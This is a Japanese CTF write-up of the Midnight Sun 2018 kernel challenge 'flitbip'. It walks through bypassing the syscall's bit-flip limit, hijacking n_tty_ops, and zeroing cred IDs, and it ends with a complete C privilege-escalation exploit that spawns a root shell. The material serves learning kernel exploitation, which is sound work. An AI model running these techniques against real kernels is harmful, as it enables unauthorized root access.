<Midnight Sun CTF 2018 Finals> flitbip
はじめに
ずっとカーネル問をやりたいと思っていたのですが、なかなかpwnの練習時間がとれず、標準的なユーザーランドの問題すらままならない状態だったので、手を出せていませんでした。
でも人間いつ死んでしまうか分からないので、カーネルpwnにも早めに手を出すことにしました。
ということで、カーネル問の中でもかなり簡単そうだったflitbipという問題を解いてみました。まだあまり理解できていないので記事にはしないつもりだったのですが、他にネタがないので書きます。
問題ファイルなど
github.com
flitbip
準備
問題を解いていくにあたって、①カーネルイメージの展開や、②ファイルシステムの展開・圧縮をするシェルスクリプトを用意しておくと便利です。実際に使ったスクリプトは、参考ページの1に載っているものを少し変えただけなので割愛します。
①の作業はgdbでデバッグする時に行います。run.sh
に-s
を追加することで、QEMUは1234番のポートにてgdbからの接続を待機するようになります。そして、gdbの方でカーネルイメージから展開されたvmlinux
を読み込み、target remote localhost:1234
と打つと接続できます。
②の作業はデバッグのためにrootでログインする時などに行います。rootでログインするには、(当該環境がSysVinitを使っている場合)/etc/inittab
などを編集する必要があります。今回は/init
のsetuidgid 1000
の部分を、setuidgid 0
に書き換えます。
次に、セキュリティ機構をチェックします。run.sh
を見れば分かるようにkASLR
、SMEP
、SMAP
及びKPTI
は無効なので、これらを特に気にする必要はありません。*1
攻撃(メイン)
下のようにflitbipというシステムコールが追加されており、これに脆弱性があります。
// flitbip.c #include <linux/kernel.h> #include <linux/init.h> #include <linux/sched.h> #include <linux/syscalls.h> #define MAXFLIT 1 #ifndef __NR_FLITBIP #define FLITBIP 333 #endif long flit_count = 0; EXPORT_SYMBOL(flit_count); SYSCALL_DEFINE2(flitbip, long *, addr, long, bit) { if (flit_count >= MAXFLIT) { printk(KERN_INFO "flitbip: sorry :/\n"); return -EPERM; } *addr ^= (1ULL << (bit)); flit_count++; return 0; }
任意のアドレスのビットを反転させることができますが、18行目のチェックにより、この作業は一回までしか行えません。しかし、flit_count
は符号付なので、その適当なビットを反転させて値をマイナスにすることができ、これによって回数制限を回避できます。
次に、flitbipの機能を利用してリターンアドレスを書き換えます。今回のようにAAWができるときには、n_tty_ops
という関数テーブルを書き換えるといいらしいです。*2n_tty_ops
は下のように定義されています。*3
https://elixir.bootlin.com/linux/v4.17/source/drivers/tty/n_tty.c#L2445
static struct tty_ldisc_ops n_tty_ops = { .magic = TTY_LDISC_MAGIC, .name = "n_tty", .open = n_tty_open, .close = n_tty_close, .flush_buffer = n_tty_flush_buffer, .read = n_tty_read, .write = n_tty_write, .ioctl = n_tty_ioctl, .set_termios = n_tty_set_termios, .poll = n_tty_poll, .receive_buf = n_tty_receive_buf, .write_wakeup = n_tty_write_wakeup, .receive_buf2 = n_tty_receive_buf2, };
今回は、n_tty_read
のアドレスを、権限を昇格する関数のアドレスに書き換え、scanf()
を呼ぶことでそちらに処理が移るようにしました。
それでは、権限を昇格する方法を考えます。他のWriteupを見るに、task_struct
の中にあるcred
という構造体を書き換えるとよいみたいです。これらは下のように定義されています。
task_struct: https://elixir.bootlin.com/linux/v4.17/source/include/linux/sched.h#L592
struct task_struct { // ... /* Effective (overridable) subjective task credentials (COW): */ const struct cred __rcu *cred; // ... }
cred: https://elixir.bootlin.com/linux/v4.17/source/include/linux/cred.h#L111
struct cred { atomic_t usage; kuid_t uid; /* real UID of the task */ kgid_t gid; /* real GID of the task */ kuid_t suid; /* saved UID of the task */ kgid_t sgid; /* saved GID of the task */ kuid_t euid; /* effective UID of the task */ kgid_t egid; /* effective GID of the task */ // ... }
3~8行目の諸々のIDを0に書き換えると、rootをとることができます。
その時に実行しているプロセスのtask_struct
のアドレスは、current_task
というグローバル変数に格納されているらしいです。実際に確認してみます。
current_task
のアドレスは0xffffffff8182e040
で、task_struct
は0xffff88000773a000
にあります。
task_struct
の0x3c0上位のアドレスにcred
があります。
攻撃(その他)
こうして攻撃の方針は大体決まったわけですが、まだ問題が残っています。それは、flitbipシステムコールを利用してからプログラムはカーネルランドで動いているため、シェルを開く処理を実行できないという問題です。
ユーザーランドに戻るためには、sysretq
命令やiretq
命令を実行する必要があります。今回は後者を使いました。
iretq
は、スタック上の値をRIP
、CS
、RFLAGS
、RSP
、SS
に順にセットして元のプログラムに戻る命令です。詳しくは参考ページの7を参照してください。したがって、flitbipシステムコールを実行する前にこれらのレジスタの値を保存しておき、最後にそれらの値をスタック上にpushしていけば適当な状態でiretq
命令を実行できます。
ただし、このままではカーネルのスタックをそのまま使い続けることになってしまうので、上の処理を行う前にRSP
も適切な値にセットしてやる必要があります。そのためにはswapgs
命令を先に実行する必要があるようです。正直これについてはよくわかりませんでしたが、カーネルモードのGS
の値とユーザーモードのGS
の値を切り替える命令で、ユーザーのスタックポインタをロードできるようになるらしいです。
全体の流れをまとめると、下のようになります。
レジスタの値を保存 → flitbipの回数制限を解除 → n_tty_ops
を書き換える → scanf()
を呼ぶ → n_tty_ops
を書き直す → cred
を書き換える → 最初に保存したレジスタの値をセットしてからiretq
命令を実行 → シェルを開く
exploitはこんな感じ(参考ページの1, 3, 4を参考にしました)
// exploit.c #include <stdio.h> #include <stdio.h> #include <stdlib.h> unsigned long user_cs, user_ss, user_rflags, user_sp; void save_state(void) { __asm__( ".intel_syntax noprefix;" "mov user_cs, cs;" "mov user_ss, ss;" "mov user_sp, rsp;" "pushf;" "pop user_rflags;" ".att_syntax;" ); puts("[*] Saved state"); } long flitbip(long* addr, long bit) { __asm__( ".intel_syntax noprefix;" "mov rax, 333;" "syscall;" ".att_syntax;" ); } void get_shell(void) { puts("[*] Returned to userland"); system("/bin/sh"); } unsigned long* current_task = 0xffffffff8182e040; unsigned long* n_tty_ops = 0xffffffff8183e320; unsigned long* n_tty_read = 0xffffffff810c8510; unsigned long user_rip = (unsigned long)get_shell; void get_root(void) { *(unsigned long*)(n_tty_ops+0x30) = (unsigned long)n_tty_read; int* cred = *(unsigned long*)(*current_task + 0x3c0); for (int i = 1; i < 7; i++) cred[i] = 0; __asm__( ".intel_syntax noprefix;" "swapgs;" "mov r15, user_ss;" "push r15;" "mov r15, user_sp;" "push r15;" "mov r15, user_rflags;" "push r15;" "mov r15, user_cs;" "push r15;" "mov r15, user_rip;" "push r15;" "iretq;" ".att_syntax;" ); } unsigned long* flip_count = 0xffffffff818f4f78; int main(void) { save_state(); flitbip(flip_count, 63); puts("[*] Overwrote flip_count"); unsigned long val = (unsigned long)get_root ^ (unsigned long)n_tty_read; for (unsigned long i = 0; i < 64; i++) { if (val & (1ULL << (i))) flitbip((char*)n_tty_ops + 0x30 , i); } puts("[*] Overwrote n_tty_ops"); char buf[0x200]; // trigger scanf("%c", buf); puts("[!] Should never be reached"); }
おわりに
この問題はカーネル問のなかではbaby問らしいのですが、普通に難しかったです。Cでエクスプロイトを書いたのは初めてで、結構人のコードに頼ってしまいましたが、いつかは自力で書ききれるようになりたいです。
参考ページ
1. https://lkmidas.github.io/posts/20210123-linux-kernel-pwn-part-1/
基礎的なkernel exploitの流れが書いてあります。
2.https://github.com/smallkirby/kernelpwn
kernel問の様々な情報が載っています。本問はここから見つけました。
3.https://hama.hatenadiary.jp/entry/2018/12/19/233626
本問のWriteupです。
4.https://smallkirby.hatenablog.com/entry/2021/02/14/142626
本問のWriteupです。
5.https://www.linusakesson.net/programming/tty/
最初の方にN_TTYについての説明があります。
6.https://qiita.com/sxarp/items/aff43dd83b0da69b92ce
システムコールの前後の処理について参考にしました。
7.https://os.phil-opp.com/returning-from-exceptions/
iretq命令についての説明が載っています。
8.https://ja.wikipedia.org/wiki/X64
swapgs命令の部分を参考にしました。